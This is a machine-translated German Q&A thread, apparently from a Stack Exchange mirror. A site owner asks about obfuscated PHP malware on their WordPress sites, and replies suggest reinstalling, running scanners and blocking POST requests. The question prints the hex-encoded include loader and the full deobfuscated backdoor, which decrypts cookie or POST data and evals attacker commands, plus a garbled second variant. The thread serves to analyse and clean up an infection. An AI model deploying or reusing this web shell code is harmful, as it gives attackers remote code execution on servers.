it-swarm.com.de

Meine Website ist mit verschleierten infiziert PHP Malware - was macht es + wie kann ich es loswerden?

Ich habe drei Websites, die alle auf demselben Webserver gehostet werden. Vor kurzem arbeitete ich an einer der Websites und bemerkte, dass vor etwa einem Monat eine Reihe von Dateien geändert wurde. Insbesondere wurden alle Instanzen von index.html in index.html.bak.bak umbenannt, und index.php-Dateien wurden an ihre Stelle gestellt. Die index.php-Dateien sind relativ einfach. Sie enthalten eine Datei, die irgendwo im Dateisystem jeder Website versteckt ist (scheinbar ein zufälliger Ordner), die mit der JS-Hex-Codierung verschleiert wurde. Anschließend wird die ursprüngliche index.html wiedergegeben:

<?php
/*2d4f2*/

@include "\x2fm\x6et\x2fs\x74o\x721\x2dw\x631\x2dd\x66w\x31/\x338\x304\x323\x2f4\x365\x380\x39/\x77w\x77.\x77e\x62s\x69t\x65.\x63o\x6d/\x77e\x62/\x63o\x6et\x65n\x74/\x77p\x2di\x6ec\x6cu\x64e\x73/\x6as\x2fs\x77f\x75p\x6co\x61d\x2ff\x61v\x69c\x6fn\x5f2\x391\x337\x32.\x69c\x6f";

/*2d4f2*/


echo file_get_contents('index.html.bak.bak');

Die hier enthaltene Datei war

/mnt/*snip*/www.website.com/web/content/wp-includes/js/swfupload/favicon_291372.ico

Auf einer anderen Domain war es so

/mnt/*snip*/www.website2.com/web/content/wiki/maintenance/hiphop/favicon_249bed.ico

Wie Sie sich vermutlich vorstellen können, handelt es sich dabei nicht wirklich um Favoriten, sondern um PHP-Dateien mit einer anderen Erweiterung. Nun, ich habe keine Ahnung, was diese Dateien tun (weshalb ich hier frage). Sie wurden völlig verschleiert, aber https://malwaredecoder.com/ scheint es zu durchbrechen. Die Ergebnisse sind hier zu finden, aber ich habe unten den entstellten Code eingefügt:

@ini_set('error_log', NULL);
@ini_set('log_errors', 0);
@ini_set('max_execution_time', 0);
@error_reporting(0);
@set_time_limit(0);


if(!defined("PHP_EOL"))
{
    define("PHP_EOL", "\n");
}

if(!defined("DIRECTORY_SEPARATOR"))
{
    define("DIRECTORY_SEPARATOR", "/");
}

if (!defined('ALREADY_RUN_144c87cf623ba82aafi68riab16atio18'))
{
    define('ALREADY_RUN_144c87cf623ba82aafi68riab16atio18', 1);

    $data = NULL;
    $data_key = NULL;

    $GLOBALS['cs_auth'] = '8debdf89-dfb8-4968-8667-04713f279109';
    global $cs_auth;


    if (!function_exists('file_put_contents'))
    {
        function file_put_contents($n, $d, $flag = False)
        {
            $mode = $flag == 8 ? 'a' : 'w';
            $f = @fopen($n, $mode);
            if ($f === False)
            {
                return 0;
            }
            else
            {
                if (is_array($d)) $d = implode($d);
                $bytes_written = fwrite($f, $d);
                fclose($f);
                return $bytes_written;
            }
        }
    }

    if (!function_exists('file_get_contents'))
    {
        function file_get_contents($filename)
        {
            $fhandle = fopen($filename, "r");
            $fcontents = fread($fhandle, filesize($filename));
            fclose($fhandle);

            return $fcontents;
        }
    }
    function cs_get_current_filepath()
    {
        return trim(preg_replace("/\(.*\$/", '', __FILE__));
    }

    function cs_decrypt_phase($data, $key)
    {
        $out_data = "";

        for ($i=0; $i<strlen($data);)
        {
            for ($j=0; $j<strlen($key) && $i<strlen($data); $j++, $i++)
            {
                $out_data .= chr(ord($data[$i]) ^ ord($key[$j]));
            }
        }

        return $out_data;
    }

    function cs_decrypt($data, $key)
    {
        global $cs_auth;

        return cs_decrypt_phase(cs_decrypt_phase($data, $key), $cs_auth);
    }
    function cs_encrypt($data, $key)
    {
        global $cs_auth;

        return cs_decrypt_phase(cs_decrypt_phase($data, $cs_auth), $key);
    }

    function cs_get_plugin_config()
    {
        $self_content = @file_get_contents(cs_get_current_filepath());

        $config_pos = strpos($self_content, md5(cs_get_current_filepath()));
        if ($config_pos !== FALSE)
        {
            $config = substr($self_content, $config_pos + 32);
            $plugins = @unserialize(cs_decrypt(base64_decode($config), md5(cs_get_current_filepath())));
        }
        else
        {
            $plugins = Array();
        }

        return $plugins;
    }

    function cs_set_plugin_config($plugins)
    {
        $config_enc = base64_encode(cs_encrypt(@serialize($plugins), md5(cs_get_current_filepath())));
        $self_content = @file_get_contents(cs_get_current_filepath());

        $config_pos = strpos($self_content, md5(cs_get_current_filepath()));
        if ($config_pos !== FALSE)
        {
            $config_old = substr($self_content, $config_pos + 32);
            $self_content = str_replace($config_old, $config_enc, $self_content);

        }
        else
        {
            $self_content = $self_content . "\n\n//" . md5(cs_get_current_filepath()) . $config_enc;
        }

        @file_put_contents(cs_get_current_filepath(), $self_content);
    }

    function cs_plugin_add($name, $base64_data)
    {
        $plugins = cs_get_plugin_config();

        $plugins[$name] = base64_decode($base64_data);

        cs_set_plugin_config($plugins);
    }

    function cs_plugin_rem($name)
    {
        $plugins = cs_get_plugin_config();

        unset($plugins[$name]);

        cs_set_plugin_config($plugins);
    }

    function cs_plugin_load($name=NULL)
    {
        foreach (cs_get_plugin_config() as $pname=>$pcontent)
        {
            if ($name)
            {
                if (strcmp($name, $pname) == 0)
                {
                    eval($pcontent);
                    break;
                }
            }
            else
            {
                eval($pcontent);
            }
        }
    }

    foreach ($_COOKIE as $key=>$value)
    {
        $data = $value;
        $data_key = $key;
    }

    if (!$data)
    {
        foreach ($_POST as $key=>$value)
        {
            $data = $value;
            $data_key = $key;
        }
    }

    $data = @unserialize(cs_decrypt(base64_decode($data), $data_key));

    if (isset($data['ak']) && $cs_auth==$data['ak'])
    {
        if ($data['a'] == 'i')
        {
            $i = Array(
                'pv' => @phpversion(),
                'sv' => '2.0-1',
                'ak' => $data['ak'],
            );
            echo @serialize($i);
            exit;
        }
        elseif ($data['a'] == 'e')
        {
            eval($data['d']);
        }
        elseif ($data['a'] == 'plugin')
        {
            if($data['sa'] == 'add')
            {
                cs_plugin_add($data['p'], $data['d']);
            }
            elseif($data['sa'] == 'rem')
            {
                cs_plugin_rem($data['p']);
            }
        }
        echo $data['ak'];

    }

    cs_plugin_load();
}

Darüber hinaus befindet sich in einem der Inhaltsordner der Website eine Datei mit dem Namen init5.php, die nach dem Deobfuscieren so viel wie möglich wird:

$GLOBALS['893\Gt3$3'] = $_POST;
$GLOBALS['S9]<\<\$'] = $_COOKIE;
@>P>r"$,('$66N6rTNj', NULL);
@>P>r"$,('TNjr$66N6"', 0);
@>P>r"$,('k3'r$'$9#,>NPr,>k$', 0);
@"$,r,>k$rT>k>,(0);
$w6f96424 = NULL;
$s02c4f38 = NULL;
global $y10a790;
function a31f0($w6f96424, $afb8d)
{
    $p98c0e = "";

    for ($r035e7=0; $r035e7<",6T$P($w6f96424);)
    {
        for ($l545=0; $l545<",6T$P($afb8d) && $r035e7<",6T$P($w6f96424); $l545++, $r035e7++)
        {
            $p98c0e .= 9)6(N6`($w6f96424[$r035e7]) ^ N6`($afb8d[$l545]));
        }
    }

    return $p98c0e;
}

function la30956($w6f96424, $afb8d)
{
    global $y10a790;

    return 3\x9<(3\x9<($w6f96424, $y10a790), $afb8d);
}

foreach ($GLOBALS['S9]<\<\$'] as $afb8d=>$ua56c9d)
{
    $w6f96424 = $ua56c9d;
    $s02c4f38 = $afb8d;
}

if (!$w6f96424)
{
    foreach ($GLOBALS['893\Gt3$3'] as $afb8d=>$ua56c9d)
    {
        $w6f96424 = $ua56c9d;
        $s02c4f38 = $afb8d;
    }
}

$w6f96424 = @#P"$6>3T>a$(T3\<]tO(R3"$OIr`$9N`$($w6f96424), $s02c4f38));
if (isset($w6f96424['38']) && $y10a790==$w6f96424['38'])
{
    if ($w6f96424['3'] == '>')
    {
        $r035e7 = Array(
            '@=' => @@)@=$6">NP(),
            '"=' => 'x%<Fx',
        );
        echo @"$6>3T>a$($r035e7);
    }
    elseif ($w6f96424['3'] == '$')
    {
        eval($w6f96424['`']);
    }

}

Es gibt mehr verschleierte PHP - Dateien, je mehr ich nachschaue, was irgendwie beängstigend ist. Es gibt Tonnen von ihnen. Sogar Wordpress-index.php-Dateien scheinen infiziert zu sein. die verschleierten @includes wurden hinzugefügt. Auf einer der Websites gibt es außerdem eine Datei mit dem Namen 'ssh', die eine Art Binärdatei zu sein scheint (vielleicht das 'ssh'-Programm selbst?).

Weiß jemand was diese sind oder tun? Wie sind sie auf meinen Server gekommen? Wie kann ich sie loswerden und sicherstellen, dass sie nie wiederkommen?

Einige andere Informationen: Mein Webhost ist Laughing Squid; Ich habe keinen Shell-Zugang. Auf dem Server werden Linux, Apache 2.4 und PHP 5.6.29 ausgeführt. Vielen Dank!

8
Wilson Biggs

Sie können zu diesem Zeitpunkt nichts auf dem Server vertrauen.

  • Installieren Sie das Betriebssystem neu

  • Installieren Sie als funktionierend bekannte Kopien Ihres Codes mit einer sauberen oder als funktionierend bekannte Version der Datenbank neu.

Zum jetzigen Zeitpunkt ist es sinnlos, nur "fehlerhafte" Dateien zu ersetzen/zu löschen, da der Angreifer alles hätte tun können, von "nichts" bis hin zum Ersetzen von Software auf Systemebene durch gehackte Versionen, die alle gewünschten Aktionen ausführen. Nur zum Beispiel, irgendwann einmal jemand hat Malware in einen Compiler geschrieben . Selbst wenn die ausführbare Datei neu erstellt wurde, war die Maware immer noch da, und der Debugger konnte sie nicht erkennen.

Es gibt verschiedene Reiniger, die jedoch darauf angewiesen sind, alles zu wissen, was der Angreifer getan hat , was unmöglich ist.

Wenn Sie gute tägliche Backups hätten, könnten Sie ein diff zwischen dem "was Sie haben" und dem "was Sie vorher hatten" machen und sehen, was sich geändert hat, jedoch müssten Sie Ihre Datenbank seitdem noch sorgfältig untersuchen oder wiederherstellen Viele Angriffe betreffen das Ändern von Daten, nicht von Code.

5
Terry Carmen

Ich hatte dieselbe Malware. Es gibt 10 bis 15 Dateien, die von der Malware hinzugefügt oder geändert werden. Ich habe das Quttera WordPress Plug-In (kostenlos) verwendet, um die Dateien zu finden. Die meisten Dateien können einfach gelöscht werden (Achtung, Quttera-IDs sind mehr als infiziert). Einige WordPress-Dateien wurden jedoch geändert und müssen ersetzt werden. 

1
Zach

Ich hatte das gleiche Problem ... __ Es wird durch böswillige HTTP-Post-Anfragen verursacht. Hier ist ein guter Artikel, wie man es stoppen kann: 

Die folgende Datei in einer .htaccess -Datei stoppt alle Post-Requests. https://perishablepress.com/protect-post-requests/

# deny all POST requests
<IfModule mod_rewrite.c>
        RewriteCond %{REQUEST_METHOD} POST
        RewriteRule .* - [F,L]
</IfModule>
0
summars

Musste mir ein PHP Skript schreiben, um den gesamten Server-Baum zu scannen, alle Verzeichnispfade aufzulisten, und eines, um diese Pfade nach Infektionen zu durchsuchen. Kann nur teilweise gereinigt werden, bietet aber dringend benötigte Hilfe bei der Fußgängerbereinigung.

HINWEIS:
Es ist schlecht geschrieben und sollte nach dem Gebrauch wahrscheinlich entfernt werden. Aber es hat mir geholfen.

Eine gezippte Kopie ist hier .
Keine Garantien; entpacken Sie es und sehen Sie sich an, was Sie auf Ihrem Server ablegen, bevor Sie es hochladen!

Update: Reinigt jetzt mehr (nicht alle!). Führen Sie anschließend die Handreinigung durch (siehe unten).

0
user2528858

Dies ist kein Hack, den Sie benötigen, um Ihre Sites und Server zu verwerfen. Es ist nur ein PHP-Hack. Beseitigen Sie alle schädlichen PHP-Dateien und Code und Sie werden gut sein. So habe ich es auf Drupal gemacht. http://rankinstudio.com/Drupal_ico_index_hack

0
Rankinstudio